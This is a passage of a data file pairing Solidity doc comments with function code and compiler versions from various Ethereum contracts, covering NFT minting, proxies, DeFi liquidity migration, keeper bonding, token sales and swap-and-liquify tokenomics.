== 9) {\n emit Locked(tokenId, \"Record complete\");\n }\n statementCount[tokenId] = _statementCount + 101;\n }", "version": "0.8.7"} {"comment": "/**\n * Mint a Historical Record with options to credit a referrer and/or to\n * submit a statement.\n * @param to is the receiver address of the Historical Record\n * @param _tokenId is rounded down to whole day intervals based on Unix\n * time resulting in tokenID\n * @param _ref is the referrer address. _ref must be a Historical record\n * owner and may not be \"to\" nor msg.sender\n * @param _statement string statement that sender wants added to Record\n * @dev tokenID corresponding to dates after 1970 must be less than or\n * equal to the current block timestamp. tokenID corresponding to dates\n * before 1970 must be less than or equal to the current limit on oldest\n * Historical Record date, oldestRec.\n */", "function_code": "function safeMintRefStatement(\n address to, \n uint256 _tokenId, \n address _ref,\n string memory _statement\n ) \n public \n payable \n {\n require(\n msg.value == MINT_FEE ||\n msg.sender == owner(), \n \"Incorrect fee\"\n );\n require(\n block.timestamp > 1632326400 || \n msg.sender == owner(), \n \"Minting not yet open\"\n ); //2021.09.22 16:00 UTC\n uint256 tokenId = _tokenId - _tokenId % 43200;\n if (tokenId % 86400 == 0) {\n require(\n tokenId <= block.timestamp, \n \"Cannot mint a Record in future\"\n );\n } else {\n require(\n tokenId <= oldestRec, \n \"Record too far in past to mint\"\n );\n }\n if (\n _ref != address(0) &&\n _ref != to &&\n _ref != msg.sender &&\n balanceOf(_ref) > 0\n ) \n {\n uint256 _amount = msg.value / REF_FEE;\n fees[_ref] += _amount;\n feeBal += _amount;\n }\n _safeMint(to, tokenId);\n if (bytes(_statement).length != 0) {\n uint256 _statementId = tokenId + 1;\n statement[_statementId] = _statement;\n emit NewStatement(_statementId, _statement);\n statementCount[tokenId] = 101;\n }\n }", "version": "0.8.7"} {"comment": "/**\n * Mint the hybrid being worked on by the specified artist\n */", "function_code": "function mintArtistCreation(uint _artistId) public returns (uint) {\n require(monaTokens.tokenOwner(_artistId) == msg.sender, \"You do not own this artist\");\n\n ArtistStatus memory status = artistStatus[_artistId];\n\n require(status.creationReadyAt > 0, \"Artist is not working\");\n // block.timestamp is always going to lag \"now\" by a certain amount of time due to\n // the time it takes to mine a block, so add on a bit of buffer to it. This prevents\n // situation where the client thinks a mint is ready but the contract still doesn't\n // until the next block.\n require((block.timestamp + 1 minutes) >= status.creationReadyAt, \"Creation not ready\");\n\n uint id;\n bool isHybrid = status.isHybrid;\n if (isHybrid) {\n id = monaHybrids.mintHybrid(msg.sender, status.creationId);\n } else {\n id = monaTokens.mintArt(msg.sender, status.creationId);\n }\n\n // Reset artist state back to \"idle\"\n artistStatus[_artistId].isHybrid = false;\n artistStatus[_artistId].creationReadyAt = 0;\n artistStatus[_artistId].creationId = 0;\n\n emit MintArtistCreation(_artistId, id, isHybrid);\n\n return id;\n }", "version": "0.8.11"} {"comment": "/*\r\n * @notice Fallback function that will execute code from the target contract to process a function call.\r\n * @dev Will use the delegatecall opcode to retain the current state of the Proxy contract and use the logic\r\n * from the target contract to process it.\r\n */", "function_code": "function () payable public {\r\n bytes memory data = msg.data;\r\n address impl = target;\r\n\r\n assembly {\r\n let result := delegatecall(gas, impl, add(data, 0x20), mload(data), 0, 0)\r\n let size := returndatasize\r\n\r\n let ptr := mload(0x40)\r\n returndatacopy(ptr, 0, size)\r\n\r\n switch result\r\n case 0 { revert(ptr, size) }\r\n default { return(ptr, size) }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/*\n * Perform any strategy unwinding or other calls necessary to capture\n * the \"free return\" this strategy has generated since the last time it's\n * core position(s) were adusted. Examples include unwrapping extra rewards.\n * This call is only used during \"normal operation\" of a Strategy, and should\n * be optimized to minimize losses as much as possible. It is okay to report\n * \"no returns\", however this will affect the credit limit extended to the\n * strategy and reduce it's overall position if lower than expected returns\n * are sustained for long periods of time.\n */", "function_code": "function prepareReturn(uint256 _debtOutstanding) internal override returns (uint256 _profit, uint256 _loss, uint256 _debtPayment) {\n if (_debtOutstanding > 0) {\n _debtPayment = liquidatePosition(_debtOutstanding);\n }\n\n // Figure out how much want we have\n uint256 _before = want.balanceOf(address(this));\n\n // Withdraw all our xSushi\n xSushi(xsushi).leave(IERC20(xsushi).balanceOf(address(this)));\n // Get how much sushi we have earned from xSushi\n uint256 _earned = 0;\n if (IERC20(reward).balanceOf(address(this)) > staking) {\n _earned = IERC20(reward).balanceOf(address(this)).sub(staking);\n }\n\n if (_earned > 0) {\n swap(reward, token0, _earned / 2);\n _earned = IERC20(reward).balanceOf(address(this));\n swap(reward, token1, _earned);\n add_liquidity();\n \n // How much want we got from xSushi\n _profit = want.balanceOf(address(this)).sub(_before);\n }\n }", "version": "0.6.12"} {"comment": "// ******** HELPER METHODS ************\n// Quote want token in ether.", "function_code": "function wantPrice() public view returns (uint256) {\n require(token0 == weth || token1 == weth); // dev: can only quote weth pairs\n (uint112 _reserve0, uint112 _reserve1, ) = SushiswapPair(address(want)).getReserves();\n uint256 _supply = IERC20(want).totalSupply();\n return 2e18 * uint256(token0 == weth ? _reserve0 : _reserve1) / _supply;\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Migrate tokens from a pair to a Kyber Dmm Pool\r\n * Supporting both normal tokens and tokens with fee on transfer\r\n * Support create new pool with received tokens from removing, or\r\n * add tokens to a given pool address\r\n * @param uniPair pair for token that user wants to migrate from\r\n * it should be compatible with UniswapPair's interface\r\n * @param tokenA first token of the pool\r\n * @param tokenB second token of the pool\r\n * @param liquidity amount of LP tokens to migrate\r\n * @param amountAMin min amount for tokenA when removing\r\n * @param amountBMin min amount for tokenB when removing\r\n * @param dmmAmountAMin min amount for tokenA when adding\r\n * @param dmmAmountBMin min amount for tokenB when adding\r\n * @param poolInfo info the the Kyber DMM Pool - (poolAddress, poolAmp)\r\n * if poolAddress is 0x0 -> create new pool with amp factor of poolAmp\r\n * otherwise add liquidity to poolAddress\r\n * @param deadline only allow transaction to be executed before the deadline\r\n */", "function_code": "function migrateLpToDmmPool(\r\n address uniPair,\r\n address tokenA,\r\n address tokenB,\r\n uint256 liquidity,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n uint256 dmmAmountAMin,\r\n uint256 dmmAmountBMin,\r\n PoolInfo calldata poolInfo,\r\n uint256 deadline\r\n )\r\n external\r\n returns (\r\n uint256 amountA,\r\n uint256 amountB,\r\n uint256 addedLiquidity\r\n );", "version": "0.6.12"} {"comment": "/**\r\n * @dev Use only for some special tokens\r\n */", "function_code": "function manualApproveAllowance(\r\n IERC20[] calldata tokens,\r\n address[] calldata spenders,\r\n uint256 allowance\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n for (uint256 j = 0; j < spenders.length; j++) {\r\n tokens[i].safeApprove(spenders[j], allowance);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Add liquidity to Kyber dmm pool, support adding to new pool or an existing pool\r\n */", "function_code": "function _addLiquidityToDmmPool(\r\n address tokenA,\r\n address tokenB,\r\n uint256 amountADesired,\r\n uint256 amountBDesired,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n PoolInfo memory poolInfo,\r\n uint256 deadline\r\n )\r\n internal\r\n returns (\r\n uint256 amountA,\r\n uint256 amountB,\r\n uint256 liquidity\r\n )\r\n {\r\n // safe approve only if needed\r\n _safeApproveAllowance(IERC20(tokenA), address(dmmRouter));\r\n _safeApproveAllowance(IERC20(tokenB), address(dmmRouter));\r\n if (poolInfo.poolAddress == address(0)) {\r\n // add to new pool\r\n (amountA, amountB, liquidity) = _addLiquidityNewPool(\r\n tokenA,\r\n tokenB,\r\n amountADesired,\r\n amountBDesired,\r\n amountAMin,\r\n amountBMin,\r\n poolInfo.poolAmp,\r\n deadline\r\n );\r\n } else {\r\n (amountA, amountB, liquidity) = _addLiquidityExistingPool(\r\n tokenA,\r\n tokenB,\r\n amountADesired,\r\n amountBDesired,\r\n amountAMin,\r\n amountBMin,\r\n poolInfo.poolAddress,\r\n deadline\r\n );\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Add liquidity to an existing pool, and return back tokens to users if any\r\n */", "function_code": "function _addLiquidityExistingPool(\r\n address tokenA,\r\n address tokenB,\r\n uint256 amountADesired,\r\n uint256 amountBDesired,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n address dmmPool,\r\n uint256 deadline\r\n )\r\n internal\r\n returns (\r\n uint256 amountA,\r\n uint256 amountB,\r\n uint256 liquidity\r\n )\r\n {\r\n (amountA, amountB, liquidity) = IDMMLiquidityRouter(dmmRouter).addLiquidity(\r\n IERC20(tokenA),\r\n IERC20(tokenB),\r\n dmmPool,\r\n amountADesired,\r\n amountBDesired,\r\n amountAMin,\r\n amountBMin,\r\n msg.sender,\r\n deadline\r\n );\r\n // return back token if needed\r\n if (amountA < amountADesired) {\r\n IERC20(tokenA).safeTransfer(msg.sender, amountADesired - amountA);\r\n }\r\n if (amountB < amountBDesired) {\r\n IERC20(tokenB).safeTransfer(msg.sender, amountBDesired - amountB);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Add liquidity to a new pool, and return back tokens to users if any\r\n */", "function_code": "function _addLiquidityNewPool(\r\n address tokenA,\r\n address tokenB,\r\n uint256 amountADesired,\r\n uint256 amountBDesired,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n uint32 amps,\r\n uint256 deadline\r\n )\r\n internal\r\n returns (\r\n uint256 amountA,\r\n uint256 amountB,\r\n uint256 liquidity\r\n )\r\n {\r\n (amountA, amountB, liquidity) = IDMMLiquidityRouter(dmmRouter).addLiquidityNewPool(\r\n IERC20(tokenA),\r\n IERC20(tokenB),\r\n amps,\r\n amountADesired,\r\n amountBDesired,\r\n amountAMin,\r\n amountBMin,\r\n msg.sender,\r\n deadline\r\n );\r\n // return back token if needed\r\n if (amountA < amountADesired) {\r\n IERC20(tokenA).safeTransfer(msg.sender, amountADesired - amountA);\r\n }\r\n if (amountB < amountBDesired) {\r\n IERC20(tokenB).safeTransfer(msg.sender, amountBDesired - amountB);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Re-write remove liquidity function from Uniswap\r\n */", "function_code": "function _removeUniLiquidity(\r\n address pair,\r\n address tokenA,\r\n address tokenB,\r\n uint256 liquidity,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n uint256 deadline\r\n ) internal {\r\n require(deadline >= block.timestamp, \"Migratior: EXPIRED\");\r\n IERC20(pair).safeTransferFrom(msg.sender, pair, liquidity); // send liquidity to pair\r\n (uint256 amount0, uint256 amount1) = IUniswapV2Pair(pair).burn(address(this));\r\n (address token0, ) = _sortTokens(tokenA, tokenB);\r\n (uint256 amountA, uint256 amountB) = tokenA == token0\r\n ? (amount0, amount1)\r\n : (amount1, amount0);\r\n require(amountA >= amountAMin, \"Migratior: UNI_INSUFFICIENT_A_AMOUNT\");\r\n require(amountB >= amountBMin, \"Migratior: UNI_INSUFFICIENT_B_AMOUNT\");\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Copy logic of sort token from Uniswap lib\r\n */", "function_code": "function _sortTokens(address tokenA, address tokenB)\r\n internal\r\n pure\r\n returns (address token0, address token1)\r\n {\r\n require(tokenA != tokenB, \"Migrator: IDENTICAL_ADDRESSES\");\r\n (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\r\n require(token0 != address(0), \"Migrator: ZERO_ADDRESS\");\r\n }", "version": "0.6.12"} {"comment": "// DTHPool(address _daoAddress, address _delegate, uint _maxTimeBlocked, string _delegateName, string _delegateUrl, string _tokenSymbol);", "function_code": "function DTHPool(\r\n address _daoAddress,\r\n address _delegate,\r\n uint _maxTimeBlocked,\r\n string _delegateName,\r\n string _delegateUrl,\r\n string _tokenSymbol\r\n ) {\r\n daoAddress = _daoAddress;\r\n delegate = _delegate;\r\n delegateUrl = _delegateUrl;\r\n maxTimeBlocked = _maxTimeBlocked;\r\n name = _delegateName;\r\n symbol = _tokenSymbol;\r\n decimals = 16;\r\n oraclize_setNetwork(networkID_auto);\r\n }", "version": "0.3.4"} {"comment": "//internal func", "function_code": "function burn (uint256 amount) internal\r\n {\r\n SafeMath.assert(amount >= 100000000000);\r\n if (amount >= 100000000000) {\r\n uint256 _value = amount / 100000000000;\r\n uint256 _tmp = _value * 100000000000;\r\n SafeMath.assert(_tmp == amount);\r\n vips[msg.sender] += amount / 100000000000;\r\n globalShares += amount / 100000000000;\r\n insert(msg.sender, vips[msg.sender]);\r\n balances[msg.sender] = balances[msg.sender].sub(amount);\r\n balances[burnAddress] = balances[burnAddress].add(amount);\r\n Transfer(msg.sender, burnAddress, amount);\r\n }\r\n }", "version": "0.4.21"} {"comment": "//transfer shares", "function_code": "function transferShares(address _to, uint _value){\r\n SafeMath.assert(vips[msg.sender] >= _value && _value > 0);\r\n var _skey = msg.sender;\r\n uint _svalue = 0;\r\n var _tkey = _to;\r\n uint _tvalue = 0;\r\n for (var i = IterableMapping.iterate_start(data); IterableMapping.iterate_valid(data, i); i = IterableMapping.iterate_next(data, i))\r\n {\r\n var (key, value) = IterableMapping.iterate_get(data, i);\r\n if(key == msg.sender){\r\n _svalue = value;\r\n }\r\n if(key == _to){\r\n _tvalue = value;\r\n }\r\n }\r\n _svalue = _svalue.sub(_value);\r\n insert(msg.sender, _svalue);\r\n vips[msg.sender] = _svalue;\r\n if (_svalue == 0){\r\n remove(msg.sender);\r\n }\r\n vips[_to] = _tvalue + _value;\r\n insert(_to, _tvalue + _value);\r\n TransShare(msg.sender, _to, _value);\r\n }", "version": "0.4.21"} {"comment": "//only ower exec,distribute dividends", "function_code": "function distributeDividends() onlyOwner public noEth(){\r\n for (var i = IterableMapping.iterate_start(data); IterableMapping.iterate_valid(data, i); i = IterableMapping.iterate_next(data, i))\r\n {\r\n var (key, value) = IterableMapping.iterate_get(data, i);\r\n uint tmp = balances[dividendAddress] / globalShares * value;\r\n balances[key] = balances[key].add(tmp);\r\n Dividends(dividendAddress, key, tmp);\r\n }\r\n balances[dividendAddress] = balances[dividendAddress].sub(balances[dividendAddress] / globalShares * globalShares);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * If the user sends 0 ether, he receives 500tokens.\r\n * If he sends 0.001 ether, he receives 2000tokens\r\n * If he sends 0.005 ether he receives 22,000tokens\r\n * If he sends 0.01ether, he receives 48,000 tokens\r\n * If he sends 0.02ether he receives 100000tokens\r\n * If he sends 0.05ether, he receives 270,000tokens\r\n */", "function_code": "function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {\r\n uint256 amountOfTokens = 0;\r\n if(_weiAmount == 0){\r\n amountOfTokens = 500 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.001 ether){\r\n amountOfTokens = 2000 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.005 ether){\r\n amountOfTokens = 22 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.01 ether){\r\n amountOfTokens = 48 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.02 ether){\r\n amountOfTokens = 100 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.05 ether){\r\n amountOfTokens = 270 * 10**3 * (10**uint256(decimals));\r\n }\r\n return amountOfTokens;\r\n }", "version": "0.4.24"} {"comment": "/// @dev increase the token's supply", "function_code": "function increaseSupply (uint256 _value) isOwner external {\r\n uint256 value = formatDecimals(_value);\r\n require (value + currentSupply <= totalSupply);\r\n require (balances[msg.sender] >= value && value>0);\r\n balances[msg.sender] -= value;\r\n currentSupply = safeAdd(currentSupply, value);\r\n IncreaseSupply(value);\r\n }", "version": "0.4.26"} {"comment": "/// buys the tokens", "function_code": "function () payable {\r\n require (isFunding);\r\n require(msg.value > 0);\r\n\r\n require(block.number >= fundingStartBlock);\r\n require(block.number <= fundingStopBlock);\r\n\r\n uint256 tokens = safeMult(msg.value, tokenExchangeRate);\r\n require(tokens + tokenRaised <= currentSupply);\r\n\r\n tokenRaised = safeAdd(tokenRaised, tokens);\r\n balances[msg.sender] += tokens;\r\n\r\n IssueToken(msg.sender, tokens); // logs token issued\r\n }", "version": "0.4.26"} {"comment": "/**\n * @notice Requests randomness\n * @dev Warning: if the VRF response is delayed, avoid calling requestRandomness repeatedly\n * as that would give miners/VRF operators latitude about which VRF response arrives first.\n * @dev You must review your implementation details with extreme care.\n *\n * @return bytes32\n */", "function_code": "function rollDice() public onlyOwner returns (bytes32) {\n require(LINK.balanceOf(address(this)) >= s_fee, \"Not enough LINK to pay fee\");\n require(result == 0, \"Already rolled\");\n requestId = requestRandomness(s_keyHash, s_fee);\n result = BIG_PRIME;\n emit DiceRolled(requestId, msg.sender);\n return requestId;\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Get the random number of token with id tokenId\n * @param _offset uint256\n * @param _limit uint256\n * @return array of random number as a uint256[]\n */", "function_code": "function getBatchRandomNumbers(uint256 _offset, uint256 _limit) public view returns (uint256[] memory) {\n require(_offset + _limit <= GHOST_SUPPLY, \"Exceeded total supply\");\n uint256[] memory numbers = new uint[](_limit);\n for (uint256 i = 0; i < _limit; i++) {\n numbers[i] = getRandomNumber(_offset + i);\n }\n return numbers;\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Add credit to a job to be paid out for work\r\n * @param credit the credit being assigned to the job\r\n * @param job the job being credited\r\n * @param amount the amount of credit being added to the job\r\n */", "function_code": "function addCredit(address credit, address job, uint amount) external nonReentrant {\r\n require(jobs[job], \"addCreditETH: !job\");\r\n uint _before = IERC20(credit).balanceOf(address(this));\r\n IERC20(credit).safeTransferFrom(msg.sender, address(this), amount);\r\n uint _received = IERC20(credit).balanceOf(address(this)).sub(_before);\r\n uint _fee = _received.mul(FEE).div(BASE);\r\n credits[job][credit] = credits[job][credit].add(_received.sub(_fee));\r\n IERC20(credit).safeTransfer(governance, _fee);\r\n\r\n emit AddCredit(credit, job, msg.sender, block.number, _received);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Allows liquidity providers to submit jobs\r\n * @param liquidity the liquidity being added\r\n * @param job the job to assign credit to\r\n * @param amount the amount of liquidity tokens to use\r\n */", "function_code": "function addLiquidityToJob(address liquidity, address job, uint amount) external nonReentrant {\r\n require(liquidityAccepted[liquidity], \"addLiquidityToJob: !pair\");\r\n IERC20(liquidity).safeTransferFrom(msg.sender, address(this), amount);\r\n liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount);\r\n\r\n liquidityApplied[msg.sender][liquidity][job] = now.add(LIQUIDITYBOND);\r\n liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount);\r\n\r\n if (!jobs[job] && jobProposalDelay[job] < now) {\r\n IGovernance(governance).proposeJob(job);\r\n jobProposalDelay[job] = now.add(UNBOND);\r\n }\r\n emit SubmitJob(job, liquidity, msg.sender, block.number, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Applies the credit provided in addLiquidityToJob to the job\r\n * @param provider the liquidity provider\r\n * @param liquidity the pair being added as liquidity\r\n * @param job the job that is receiving the credit\r\n */", "function_code": "function applyCreditToJob(address provider, address liquidity, address job) external {\r\n require(liquidityAccepted[liquidity], \"addLiquidityToJob: !pair\");\r\n require(liquidityApplied[provider][liquidity][job] != 0, \"credit: no bond\");\r\n require(liquidityApplied[provider][liquidity][job] < now, \"credit: bonding\");\r\n uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));\r\n uint _credit = _liquidity.mul(liquidityAmount[provider][liquidity][job]).div(IERC20(liquidity).totalSupply());\r\n _mint(address(this), _credit);\r\n credits[job][address(this)] = credits[job][address(this)].add(_credit);\r\n liquidityAmount[provider][liquidity][job] = 0;\r\n\r\n emit ApplyCredit(job, liquidity, provider, block.number, _credit);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Unbond liquidity for a job\r\n * @param liquidity the pair being unbound\r\n * @param job the job being unbound from\r\n * @param amount the amount of liquidity being removed\r\n */", "function_code": "function unbondLiquidityFromJob(address liquidity, address job, uint amount) external {\r\n require(liquidityAmount[msg.sender][liquidity][job] == 0, \"credit: pending credit\");\r\n liquidityUnbonding[msg.sender][liquidity][job] = now.add(UNBOND);\r\n liquidityAmountsUnbonding[msg.sender][liquidity][job] = liquidityAmountsUnbonding[msg.sender][liquidity][job].add(amount);\r\n require(liquidityAmountsUnbonding[msg.sender][liquidity][job] <= liquidityProvided[msg.sender][liquidity][job], \"unbondLiquidityFromJob: insufficient funds\");\r\n\r\n uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));\r\n uint _credit = _liquidity.mul(amount).div(IERC20(liquidity).totalSupply());\r\n if (_credit > credits[job][address(this)]) {\r\n _burn(address(this), credits[job][address(this)]);\r\n credits[job][address(this)] = 0;\r\n } else {\r\n _burn(address(this), _credit);\r\n credits[job][address(this)] = credits[job][address(this)].sub(_credit);\r\n }\r\n\r\n emit UnbondJob(job, liquidity, msg.sender, block.number, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Allows liquidity providers to remove liquidity\r\n * @param liquidity the pair being unbound\r\n * @param job the job being unbound from\r\n */", "function_code": "function removeLiquidityFromJob(address liquidity, address job) external {\r\n require(liquidityUnbonding[msg.sender][liquidity][job] != 0, \"removeJob: unbond\");\r\n require(liquidityUnbonding[msg.sender][liquidity][job] < now, \"removeJob: unbonding\");\r\n uint _amount = liquidityAmountsUnbonding[msg.sender][liquidity][job];\r\n liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].sub(_amount);\r\n liquidityAmountsUnbonding[msg.sender][liquidity][job] = 0;\r\n IERC20(liquidity).safeTransfer(msg.sender, _amount);\r\n\r\n emit RemoveJob(job, liquidity, msg.sender, block.number, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Implemented by jobs to show that a keeper performed work\r\n * @param keeper address of the keeper that performed the work\r\n * @param amount the reward that should be allocated\r\n */", "function_code": "function workReceipt(address keeper, uint amount) public {\r\n require(jobs[msg.sender], \"workReceipt: !job\");\r\n require(amount <= KPRH.getQuoteLimit(_gasUsed.sub(gasleft())), \"workReceipt: max limit\");\r\n credits[msg.sender][address(this)] = credits[msg.sender][address(this)].sub(amount, \"workReceipt: insuffient funds\");\r\n lastJob[keeper] = now;\r\n _reward(keeper, amount);\r\n workCompleted[keeper] = workCompleted[keeper].add(amount);\r\n emit KeeperWorked(address(this), msg.sender, keeper, block.number, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions\r\n * @param keeper the keeper being investigated\r\n * @param minBond the minimum requirement for the asset provided in bond\r\n * @param earned the total funds earned in the keepers lifetime\r\n * @param age the age of the keeper in the system\r\n * @return true/false if the address is a keeper and has more than the bond\r\n */", "function_code": "function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool) {\r\n _gasUsed = gasleft();\r\n return keepers[keeper]\r\n && bonds[keeper][address(this)].add(votes[keeper]) >= minBond\r\n && workCompleted[keeper] >= earned\r\n && now.sub(firstSeen[keeper]) >= age;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice begin the bonding process for a new keeper\r\n * @param bonding the asset being bound\r\n * @param amount the amount of bonding asset being bound\r\n */", "function_code": "function bond(address bonding, uint amount) external nonReentrant {\r\n require(!blacklist[msg.sender], \"bond: blacklisted\");\r\n bondings[msg.sender][bonding] = now.add(BOND);\r\n if (bonding == address(this)) {\r\n _transferTokens(msg.sender, address(this), amount);\r\n } else {\r\n uint _before = IERC20(bonding).balanceOf(address(this));\r\n IERC20(bonding).safeTransferFrom(msg.sender, address(this), amount);\r\n amount = IERC20(bonding).balanceOf(address(this)).sub(_before);\r\n }\r\n pendingbonds[msg.sender][bonding] = pendingbonds[msg.sender][bonding].add(amount);\r\n emit KeeperBonding(msg.sender, block.number, bondings[msg.sender][bonding], amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice withdraw funds after unbonding has finished\r\n * @param bonding the asset to withdraw from the bonding pool\r\n */", "function_code": "function withdraw(address bonding) external nonReentrant {\r\n require(unbondings[msg.sender][bonding] != 0 && unbondings[msg.sender][bonding] < now, \"withdraw: unbonding\");\r\n require(!disputes[msg.sender], \"withdraw: disputes\");\r\n\r\n if (bonding == address(this)) {\r\n _transferTokens(address(this), msg.sender, partialUnbonding[msg.sender][bonding]);\r\n } else {\r\n IERC20(bonding).safeTransfer(msg.sender, partialUnbonding[msg.sender][bonding]);\r\n }\r\n emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender][bonding]);\r\n partialUnbonding[msg.sender][bonding] = 0;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice allows governance to slash a keeper based on a dispute\r\n * @param bonded the asset being slashed\r\n * @param keeper the address being slashed\r\n * @param amount the amount being slashed\r\n */", "function_code": "function slash(address bonded, address keeper, uint amount) public nonReentrant {\r\n require(msg.sender == governance, \"slash: !gov\");\r\n if (bonded == address(this)) {\r\n _transferTokens(address(this), governance, amount);\r\n } else {\r\n IERC20(bonded).safeTransfer(governance, amount);\r\n }\r\n _unbond(bonded, keeper, amount);\r\n disputes[keeper] = false;\r\n emit KeeperSlashed(keeper, msg.sender, block.number, amount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev overrides transfer function to meet tokenomics of COINAGE", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual override {\r\n // swap and liquify\r\n if (\r\n swapAndLiquifyEnabled == true\r\n && _inSwapAndLiquify == false\r\n && address(coinageFinanceRouter) != address(0)\r\n && coinageFinancePair != address(0)\r\n && sender != coinageFinancePair\r\n && sender != owner()\r\n ) {\r\n swapAndLiquify();\r\n }\r\n \r\n if (whitelistTaxFee[sender] || whitelistTaxFee[recipient] || transferTaxRate == 0) {\r\n super._transfer(sender, recipient, amount);\r\n } else {\r\n \r\n uint256 taxAmount = amount.mul(transferTaxRate).div(10000);\r\n uint256 burnAmount = taxAmount.mul(burnRate).div(100);\r\n uint256 liquidityAmount = taxAmount.sub(burnAmount);\r\n require(taxAmount == burnAmount + liquidityAmount, \"COINAGE::transfer: Burn value invalid\");\r\n\r\n \r\n uint256 sendAmount = amount.sub(taxAmount);\r\n require(amount == sendAmount + taxAmount, \"COINAGE::transfer: Tax value invalid\");\r\n\r\n super._transfer(sender, BURN_ADDRESS, burnAmount);\r\n super._transfer(sender, address(this), liquidityAmount);\r\n super._transfer(sender, recipient, sendAmount);\r\n amount = sendAmount;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Swap and liquify", "function_code": "function swapAndLiquify() private lockTheSwap transferTaxFree {\r\n uint256 contractTokenBalance = balanceOf(address(this));\r\n uint256 maxTransferAmount = maxTransferAmount();\r\n contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance;\r\n\r\n if (contractTokenBalance >= minAmountToLiquify) {\r\n // only min amount to liquify\r\n uint256 liquifyAmount = minAmountToLiquify;\r\n\r\n // split the liquify amount into halves\r\n uint256 half = liquifyAmount.div(2);\r\n uint256 otherHalf = liquifyAmount.sub(half);\r\n\r\n // capture the contract's current ETH balance.\r\n // this is so that we can capture exactly the amount of ETH that the\r\n // swap creates, and not make the liquidity event include any ETH that\r\n // has been manually sent to the contract\r\n uint256 initialBalance = address(this).balance;\r\n\r\n // swap tokens for ETH\r\n swapTokensForEth(half);\r\n\r\n // how much ETH did we just swap into?\r\n uint256 newBalance = address(this).balance.sub(initialBalance);\r\n\r\n // add liquidity\r\n addLiquidity(otherHalf, newBalance);\r\n\r\n emit SwapAndLiquify(half, newBalance, otherHalf);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Swap tokens for eth", "function_code": "function swapTokensForEth(uint256 tokenAmount) private {\r\n // generate the coinageFinance pair path of token -> weth\r\n address[] memory path = new address[](2);\r\n path[0] = address(this);\r\n path[1] = coinageFinanceRouter.WETH();\r\n\r\n _approve(address(this), address(coinageFinanceRouter), tokenAmount);\r\n\r\n // make the swap\r\n coinageFinanceRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n tokenAmount,\r\n 0, // accept any amount of ETH\r\n path,\r\n address(this),\r\n block.timestamp\r\n );\r\n }", "version": "0.6.12"} {"comment": "/// @dev Add liquidity", "function_code": "function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\r\n // approve token transfer to cover all possible scenarios\r\n _approve(address(this), address(coinageFinanceRouter), tokenAmount);\r\n\r\n // add the liquidity\r\n coinageFinanceRouter.addLiquidityETH{value: ethAmount}(\r\n address(this),\r\n tokenAmount,\r\n 0, // slippage is unavoidable\r\n 0, // slippage is unavoidable\r\n BURN_ADDRESS,\r\n block.timestamp\r\n );\r\n }", "version": "0.6.12"} {"comment": "/** mint */", "function_code": "function _mintSeed(uint256 num, address to) internal {\n require(totalSupply() + num <= totalLimit, \"exceed limit\");\n for(uint256 i = 0; i < num; i++) {\n uint256 tokenIndex = totalSupply();\n _safeMint(to, tokenIndex);\n }\n }", "version": "0.8.4"} {"comment": "// claim for dao holder", "function_code": "function claimDAO() public nonReentrant {\n require(!msg.sender.isContract(), \"contract not allowed\");\n require(onClaim, \"not on claim\");\n require(\n rally.balanceOf(msg.sender) >= rallyBalance || \n bank.balanceOf(msg.sender) >= bankBalance ||\n fwb.balanceOf(msg.sender) >= fwbBalance ||\n ff.balanceOf(msg.sender) >= ffBalance,\n \"low balance\"\n );\n require(!daoClaimed[msg.sender], \"already claimed\");\n require(limit > 0, \"out of supply\");\n limit = limit.sub(1);\n daoClaimed[msg.sender] = true;\n _mintSeed(1, msg.sender);\n }", "version": 